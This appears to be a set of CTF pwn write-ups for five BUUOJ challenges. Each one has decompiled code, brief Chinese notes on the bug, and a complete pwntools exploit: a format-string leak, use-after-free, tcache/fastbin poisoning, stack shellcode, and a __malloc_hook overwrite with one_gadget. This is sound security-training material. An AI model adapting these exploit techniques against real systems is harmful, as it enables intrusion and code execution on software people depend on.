judgement_mna_2016
judgement_mna_2016$ file judgement_mna_2016;checksec judgement_mna_2016
judgement_mna_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1dcd6ad0bd357d5614674e1aeca491f6aa3e352b, not stripped
[*] '/home/pwn/桌面/judgement_mna_2016/judgement_mna_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // esp
char format[64]; // [esp+0h] [ebp-4Ch] BYREF
unsigned int v6; // [esp+40h] [ebp-Ch]
int *p_argc; // [esp+44h] [ebp-8h]
p_argc = &argc;
v6 = __readgsdword(0x14u);
v3 = alloca(144);
printf("Flag judgment system\nInput flag >> ");
if ( getnline(format, 64) )
{
printf(format);
if ( !strcmp(format, flag) )
return puts("\nCorrect flag!!");
else
return puts("\nWrong flag...");
}
else
{
puts("Unprintable character");
return -1;
}
}
fmt漏洞泄露栈上的flag
from pwn import *
url, port = "node4.buuoj.cn", 27799
filename = "./judgement_mna_2016"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def pwn():
io.sendline('%28$s')
if __name__ == "__main__":
pwn()
io.interactive()
actf_2019_babyheap
actf_2019_babyheap$ file ACTF_2019_babyheap;checksec ACTF_2019_babyheap
ACTF_2019_babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f567e26db2d7d61372a25f15e4cdaa1ac75350bd, stripped
[*] '/home/pwn/桌面/actf_2019_babyheap/ACTF_2019_babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
unsigned __int64 sub_400A78()
{
void **v0; // rbx
int i; // [rsp+8h] [rbp-38h]
int v3; // [rsp+Ch] [rbp-34h]
char buf[24]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-18h]
v5 = __readfsqword(0x28u);
if ( dword_60204C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(0x10uLL);
*((_QWORD *)*(&ptr + i) + 1) = print;
puts("Please input size: ");
read(0, buf, 8uLL);
v3 = atoi(buf);
v0 = (void **)*(&ptr + i);
*v0 = malloc(v3);
puts("Please input content: ");
read(0, *(void **)*(&ptr + i), v3);
++dword_60204C;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("The list is full");
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 delete()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Please input list index: ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < cnt )
{
if ( *(&ptr + v1) )
{
free(*(void **)*(&ptr + v1));
free(*(&ptr + v1));
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
UAF 构造布局 bin_sh_str 和 函数指针指向system@plt
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 27751
filename = "./ACTF_2019_babyheap"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size, content):
io.sendlineafter('Your choice: ', '1')
io.sendlineafter('Please input size: \n', str(size))
io.sendafter('Please input content: \n', content)
def delete(idx):
io.sendlineafter('Your choice: ', '2')
io.sendlineafter('Please input list index: \n', str(idx))
def show(idx):
io.sendlineafter('Your choice: ', '3')
io.sendlineafter('Please input list index: \n', str(idx))
def pwn():
system_plt = elf.plt['system']
binsh_addr = 0x0000000000602010
add(0x80, 'chunk0')
add(0x80, 'chunk1')
add(0x80, 'chunk2')
delete(0)
delete(1)
# B()
add(0x10, p64(binsh_addr) + p64(system_plt))
# B()
show(0)
if __name__ == "__main__":
pwn()
io.interactive()
gyctf_2020_signin
gyctf_2020_signin$ file gyctf_2020_signin;checksec gyctf_2020_signin
gyctf_2020_signin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=08baefbf7275ff73e43ecabd9cbb9974d4da3c4b, for GNU/Linux 3.2.0, not stripped
[*] '/home/pwn/桌面/gyctf_2020_signin/gyctf_2020_signin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
unsigned __int64 menu()
{
int v0; // eax
__int64 s[3]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("your choice?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v0 = atoi((const char *)s);
if ( v0 == 2 )
{
edit();
}
else if ( v0 > 2 )
{
if ( v0 != 3 )
{
if ( v0 == 6 )
backdoor();
goto LABEL_12;
}
del();
}
else
{
if ( v0 != 1 )
{
LABEL_12:
puts("no such choice!");
return __readfsqword(0x28u) ^ v3;
}
add();
}
return __readfsqword(0x28u) ^ v3;
}
有后门, ptr指针所指的值不为0即可触发
unsigned __int64 del()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
if ( v1 <= 0xF && flags[v1] == 1 )
{
free((void *)ptrlist[v1]);
flags[v1] = 0;
}
return __readfsqword(0x28u) ^ v3;
}
del函数有悬空指针, 另外分析edit函数后发现可以UAF
read 0x50LL的数据, 会调用calloc重新分配chunk大小, calloc函数有一个特点, 不从tcache中拿chunk, 而是从fastbin中拿chunk, 并且bins的管理还有一个特点: 分配fastbin之后会将同size的剩余chunk扔到tcache的空位里
可以读一下glibc2.27的源码
#define REMOVE_FB(fb, victim, pp) \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
!= victim); \
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
漏洞利用: tcache attack + fastbin attack, 申请8个chunk, 再释放8个, 其中7个在tcache, 1个在fastbin, 申请一个 tcache 的chunk出来, 腾出空位, UAF修改第8个chunk的fd, 伪造fastbin链指向ptr-0x10, 然后这个伪造的chunk会被自动放到tcache里, 过程中系统会自动修改ptr的值到tcache链的fd, 这样ptr就不为0了, 即可触发后门
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 26453
filename = "./gyctf_2020_signin"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(idx):
io.sendlineafter('your choice?', str(1))
io.sendlineafter('idx?', str(idx))
def edit(idx, context):
io.sendlineafter('your choice?', str(2))
io.sendlineafter('idx?', str(idx))
io.send(context)
def delete(idx):
io.sendlineafter('your choice?', str(3))
io.sendlineafter('idx?', str(idx))
def pwn():
ptr_addr = 0x00000000004040C0
for i in range(8):
add(i)
for i in range(8):
delete(i)
add(8)
edit(7, p64(ptr_addr - 0x10))
io.sendlineafter('your choice?', '6')
if __name__ == "__main__":
pwn()
io.interactive()
wdb_2018_3rd_soEasy
wdb_2018_3rd_soEasy$ file wdb_2018_3rd_soEasy;checksec wdb_2018_3rd_soEasy
wdb_2018_3rd_soEasy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ca4d1b34498bf126a8cfec07c2567b219b36d122, not stripped
[*] '/home/pwn/桌面/wdb_2018_3rd_soEasy/wdb_2018_3rd_soEasy'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
啥保护都不开…
ssize_t vul()
{
char buf[72]; // [esp+0h] [ebp-48h] BYREF
printf("Hei,give you a gift->%p\n", buf);
puts("what do you want to do?");
return read(0, buf, 0x64u);
}
白给
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 29719
filename = "./wdb_2018_3rd_soEasy"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def pwn():
io.recvuntil('Hei,give you a gift->')
buf_addr = int(io.recvuntil('\n', drop=True), 16)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x48 + 4, b'\x00') + p32(buf_addr)
io.sendline(payload)
if __name__ == "__main__":
pwn()
io.interactive()
gyctf_2020_some_thing_interesting
gyctf_2020_some_thing_interesting$ file gyctf_2020_some_thing_interesting;checksec gyctf_2020_some_thing_interesting
gyctf_2020_some_thing_interesting: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=01e89050056d430939a294ed0d853da03fc1b416, stripped
[*] '/home/pwn/桌面/gyctf_2020_some_thing_interesting/gyctf_2020_some_thing_interesting'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开, 这才像话
char *sub_B7A()
{
memset(s1, 0, 0x14uLL);
puts("#######################");
puts("# Surprise #");
puts("#---------------------#");
printf("> Input your code please:");
read(0, s1, 0x13uLL);
if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return s1;
}
第一次输入的code == OreOOrereOOreO
并且有fmt漏洞
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-14h] BYREF
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
v3 = 0;
memset(s, 0, 0x14uLL);
sub_B10();
s = (void *)sub_B7A();
sub_C6A();
while ( 1 )
{
printf("> Now please tell me what you want to do :");
_isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 0:
admin((const char *)s);
break;
case 1:
add();
break;
case 2:
edit();
break;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
Exit();
default:
puts("Emmmmmm!Maybe you want Fool me!");
Exit();
}
}
}
delete
unsigned __int64 sub_130A()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Oreo #");
puts("#---------------------#");
printf("> Oreo ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !*((_QWORD *)&unk_2020E0 + v1) )
{
puts("Emmmmmm!Maybe you want Fool me!");
Exit();
}
free(*((void **)&unk_2020E0 + v1));
free(*((void **)&unk_2021A0 + v1));
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
UAF
漏洞利用: fmt泄露libc, UAF用one gadget打__malloc_hook
from pwn import *
url, port = "node4.buuoj.cn", 28349
filename = "./gyctf_2020_some_thing_interesting"
elf = ELF(filename)
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
libc = ELF("./libc-2.23.so") # local libc
else:
context.log_level = "debug"
libc = ELF("./libc64-2.23.so") # remote libc
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(Osize, O, REsize, RE):
io.sendlineafter('> Now please tell me what you want to do :', '1')
io.sendlineafter("> O's length : ", str(Osize))
io.sendafter("> O : ", O)
io.sendlineafter("> RE's length : ", str(REsize))
io.sendafter("> RE : ", RE)
def edit(idx, O, RE):
io.sendlineafter('> Now please tell me what you want to do :', '2')
io.sendlineafter("> Oreo ID : ", str(idx))
io.sendafter("> O : ", O)
io.sendafter("> RE : ", RE)
def delete(idx):
io.sendlineafter('> Now please tell me what you want to do :', '3')
io.sendlineafter("> Oreo ID : ", str(idx))
def show(idx):
io.sendlineafter('> Now please tell me what you want to do :', '4')
io.sendlineafter("> Oreo ID : ", str(idx))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
def pwn():
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
io.sendlineafter('> Input your code please:', 'OreOOrereOOreO%17$p')
io.sendlineafter('> Now please tell me what you want to do :', '0')
io.recvuntil('Your Code is OreOOrereOOreO0x')
libc_start_main_addr = int(io.recv(12), 16) - 240
libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
lf('__libc_start_main_addr', libc_start_main_addr)
lf('libc base address', libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + one_gadgets[3] # turns out 0xf1147 can work
add(0x68, 'chunk0', 0x68, 'chunk1')
delete(1)
delete(1)
edit(1, p64(0), p64(malloc_hook - 0x23))
add(0x68, p64(0), 0x68, cyclic(0x13) + p64(one_gadget))
io.sendlineafter('Now please tell me what you want to do :', '1')
io.sendlineafter("> O's length : ", str(0x10))
if __name__ == "__main__":
pwn()
io.interactive()